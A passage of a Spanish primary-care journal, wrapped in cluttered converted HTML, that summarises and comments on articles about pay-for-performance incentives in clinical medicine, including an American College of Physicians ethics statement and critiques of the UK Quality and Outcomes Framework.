<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Se valoran cuatro aspectos en contra de la actividad</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">clínica de calidad, y se hacen propuestas para lograr que</p>
<p align="left">la medición del desempeño no provoque un decrecimiento</p>
<p align="left">de la calidad de la atención clínica.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los incentivos por rendimiento tal y como se</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">utilizan en la clínica pueden incrementar la calidad de lo medido,</p>
<p align="left">pero nada asegura que aumenten la calidad de la atención</p>
<p align="left">propiamente dicha. Los autores insisten en cuatro cuestiones</p>
<p>concretas: </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">a) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">los incentivos por desempeño se ciñen a áreas con</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">poco impacto en la mejora de la salud del paciente, <em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">b) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">los</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">incentivos no suelen incorporar criterios de prioridad, con lo</p>
<p> </p>
<p></font></font></font></font><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font></font></strong></font></font><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"></p>
<p align="left">346 <font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">AMF 2008;4(6):344-352 62</font></font></p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Juan Gérvas</p>
<p align="left">Mercedes Pérez Fernández</p>
<p align="left">Pago por desempeño (<em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance» </font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">[P4P])</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Puede ser perjudicial para la calidad medir el desempeño?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Medir el desempeño no es inocente, y conlleva centrarse</p>
<p align="left">en lo que se mide, que puede ser distinto de lo que</p>
<p align="left">necesita el paciente.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 3</p>
<p align="left">AL MEDIR Y PAGAR POR LA CALIDAD</p>
<p align="left">DEL DESEMPEÑO PODEMOS ESTAR CONTRIBUYENDO</p>
<p align="left">A DISMINUIR LA CALIDAD CL�?NICA</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">que el médico clínico se dispersa, </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">c) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">los incentivos pueden llevar</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">a dedicar tiempo en exceso al cumplimiento de los indicadores</p>
<p align="left">con los que se mide el desempeño, dejando de lado los</p>
<p>problemas que presenta el paciente y </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">d) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">los indicadores para el</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">pago por desempeño son demasiado simples, demasiado centrados</p>
<p align="left">en aspectos concretos de las enfermedades y la prevención.</p>
<p align="left">Respecto a la mejora del pago por rendimiento, proponen</p>
<p>ampliar los indicadores para que </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">a) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">incluyan problemas generales,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">para que sean menos específicos, <em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">b) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">sean indicadoressobre problemas de salud frecuentes, </font></font></p>
<p></font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">c) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">tengan demostrada su</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">relación con un cambio en la salud de los pacientes, y </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">d) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">estén</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">priorizados según su «peso» clínico. Terminan afirmando que en</p>
<p align="left">la actualidad la calidad en los indicadores de desempeño no</p>
<p align="left">implica calidad en la atención clínica.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Los autores citan el Quality and Outcomes Framework como</p>
<p align="left">ejemplo (el uso en el Reino Unido del pago por rendimiento),</p>
<p align="left">aunque sabemos que tienen un impacto que levanta recelo en</p>
<p>el Royal College of General Practitioners</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">, y que no se relacionan</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">con la salud de los pacientes ni de la población, sino con</p>
<p>la carga de trabajo para el médico general</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">. Parece, pues, que</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">algunos en Estados Unidos tienen una visión sesgada positiva</p>
<p>hacia la medición de la calidad</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">3</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">, lo que explicaría esta mirada</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">positiva hacia la experiencia inglesa.</p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Royal College of General Practitioners. The future direction of General</p>
<p align="left">Practice. A roadmap. Londres: RCGP; 2007.</p>
<p align="left">2. Fleetcroft R, Cookson R. Do the incentive payments in the new NHS contract</p>
<p align="left">for primary care reflect population health gains? J Health Serv Res</p>
<p align="left">Policy. 2006;11:27-31.</p>
<p align="left">3. Averbach AD, Landefeld CS, Shojania KG. The tension between needing to</p>
<p align="left">improve care and how to do it. N Engl J Med. 2007;357:608-13.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Snyder L, Neubauer RL for the American College of</p>
<p align="left">Physicians Ethics, Professionalism and Human Rights</p>
<p align="left">Committee. Pay-for-performance principles that promote</p>
<p align="left">patient-centered care: an ethics manifesto. Ann Intern Med.</p>
<p align="left">2007;147:792-4.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">La presión por cumplir con los objetivos en los</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">sistemas con fuerte pago por rendimiento puede llevar a conflictos</p>
<p align="left">éticos. El médico siempre se encuentra en el dilema clínico</p>
<p align="left">de servir al paciente o a la organización.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Señalar los principales problemas éticos que</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">plantea el pago por desempeño en la práctica clínica en</p>
<p align="left">Estados Unidos. Definir la postura oficial del American College</p>
<p align="left">of Physicians (ACP) sobre los conflictos éticos que genera el</p>
<p align="left">pago por rendimiento.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Revisión de los principales problemas por el</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Comité de Ética, Profesionalismo y Derechos Humanos del ACP.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Trabajo que representa la postura oficial del</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">ACP, desarrollado por su comité de ética.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">El ACP ve con preocupación el desarrollo de</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">los planes de pago por rendimiento, puesto que no se ha</p>
<p align="left">demostrado su efectividad ni se han estudiado los efectos</p>
<p align="left">adversos de su implantación. La medición del desempeño</p>
<p align="left">puede ayudar a mejorar la calidad clínica, pero sólo cuando se</p>
<p align="left">conozca mejor cómo hacerlo. Por ahora los indicadores son</p>
<p align="left">demasiado específicos. Tales indicadores conllevan el riesgo de</p>
<p align="left">que el trabajo clínico se centre en su cumplimiento. También</p>
<p align="left">que se rechace a los pacientes en cuyo seguimiento se cumplirán</p>
<p align="left">difícilmente los indicadores. Con ello se puede llegar a</p>
<p align="left">modificar la relación entre médico y paciente, por centrarse el</p>
<p align="left">acto clínico en el cumplimiento de los indicadores, no en las</p>
<p align="left">necesidades del paciente («el paciente ha muerto, pero sus</p>
<p align="left">electrólitos estaban controlados»). También pueden aumentar</p>
<p align="left">el coste y las cascadas diagnósticas y terapéuticas. Como métodos</p>
<p>paliativos proponen: </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">a) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">transparencia (para que el paciente</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">esté al tanto de la existencia de los incentivos y de cómo responde</p>
<p>a ellos su médico), </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">b) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">investigación sobre mejores indicadores</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de desempeño (para medir la atención compleja, la</p>
<p align="left">accesibilidad, la continuidad y demás cuestiones que valoran</p>
<p>clínicos y pacientes) y </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">c) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">monitorización de los efectos adversos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de los indicadores (no se puede suponer que son inocuos).</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Como toda intervención sanitaria, el pago por rendimiento</p>
<p align="left">conlleva efectos adversos. Es clave valorarlos ante una intervención</p>
<p>de efectividad no demostrada</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">, sobre todo si uno de</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">los peligros es el aumento de las cascadas diagnósticas y terapéuticas</p>
<p align="left">innecesarias<font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font></p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
